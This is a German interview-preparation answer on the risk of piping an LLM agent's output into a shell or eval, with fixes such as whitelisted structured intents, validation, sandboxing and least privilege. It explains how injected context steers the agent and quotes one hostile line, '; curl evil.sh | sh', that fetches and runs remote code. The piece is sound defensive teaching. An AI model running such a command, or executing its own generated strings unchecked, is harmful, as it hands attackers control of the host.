Die Ausgabe eines LLM-Agenten wird zur Befehlsausführung an eine Shell/`eval` übergeben. Was ist das Risiko und die Lösung?
Kurzantwort
Das ist die „unsachgemäße Ausgabebehandlung
Jemand hat einen Agenten so verdrahtet, dass alles, was das LLM erzeugt, direkt an os.system, eine Shell oder eval übergeben wird. Es wirkt bequem — das Modell „kennt" den auszuführenden Befehl. Es ist auch ein direkter Weg zur Remote-Code-Ausführung.
Warum das gefährlich ist
Die Ausgabe des Modells ist kein vertrauenswürdiges Datum. Sie wird von allem geformt, was in seinen Kontext gelangt ist: die Nachricht des Nutzers, ein abgerufenes Dokument, eine geladene Webseite. Ein Angreifer, der eines davon beeinflussen kann, kann die generierte Zeichenkette steuern. Sobald diese Zeichenkette eine Shell oder eval erreicht, haben Sie eine Befehlsinjektion — das Modell wird zum verwirrten Stellvertreter, der die Payload des Angreifers für ihn schreibt. OWASP nennt das unsachgemäße (unsichere) Ausgabebehandlung: der Modellausgabe zu vertrauen, als wäre sie sicherer Code oder sicheres Markup.
Eine einzige präparierte Eingabe wie ; curl evil.sh | sh, eingeschleust in die Argumentation des Modells, und Sie haben den Host abgegeben.
Die Lösung: die Ausgabe als nicht vertrauenswürdig behandeln
- Whitelist für Absichten, nicht für Zeichenketten. Lassen Sie das Modell eine strukturierte Absicht ausgeben (z. B. JSON:
{"action": "restart_service", "name": "nginx"}) und bilden Sie sie auf eine kleine Menge parametrisierter, vorgeschriebener Funktionen ab. Verketten Sie niemals Modelltext in eine Befehlszeile. - Strikt validieren. Prüfen Sie die Aktion gegen die Whitelist, validieren Sie jeden Parameter (Typ, Bereich, Zeichensatz) und weisen Sie alles zurück, was nicht passt.
- In Sandbox ausführen. Wenn wirklich etwas Code ausführen muss, isolieren Sie es: abgeschotteter Container, kein Netzwerk, reduzierte Rechte, Ressourcenlimits, flüchtiges Dateisystem.
- Least Privilege. Was die Aktion ausführt, sollte nur die minimal nötigen Berechtigungen besitzen.
Warum die Distraktoren scheitern
- „Die Ausgabe ist vertrauenswürdig": Genau diese Annahme wird ausgenutzt. Die Modellausgabe steht stromabwärts nicht vertrauenswürdiger Eingaben.
- Token-Limit erhöhen: Token-Limits steuern die Länge, nicht die Sicherheit. Eine längere Payload bleibt eine Payload.
- Protokollieren und weitermachen: Protokollierung liefert eine Spur des Einbruchs im Nachhinein; sie verhindert nichts.
Was Interviewer hören wollen
Dass Sie es als unsachgemäße Ausgabebehandlung benennen, die zur Injektion führt, dass Sie sich weigern, generierte Zeichenketten auszuführen, und sie durch validierte, gewhitelistete, gesandboxte Aktionen unter Least Privilege ersetzen.
Wahrscheinliche Anschlussfragen
- Warum ist eine Whitelist parametrisierter Aktionen sicherer als das Bereinigen einer generierten Befehlszeichenkette?
- Wie könnte ein Angreifer die Modellausgabe steuern, ohne je Ihr Prompt-Template zu berühren?
- Welches Sandboxing würden Sie verwenden, wenn eine Aktion tatsächlich beliebigen Code ausführen muss?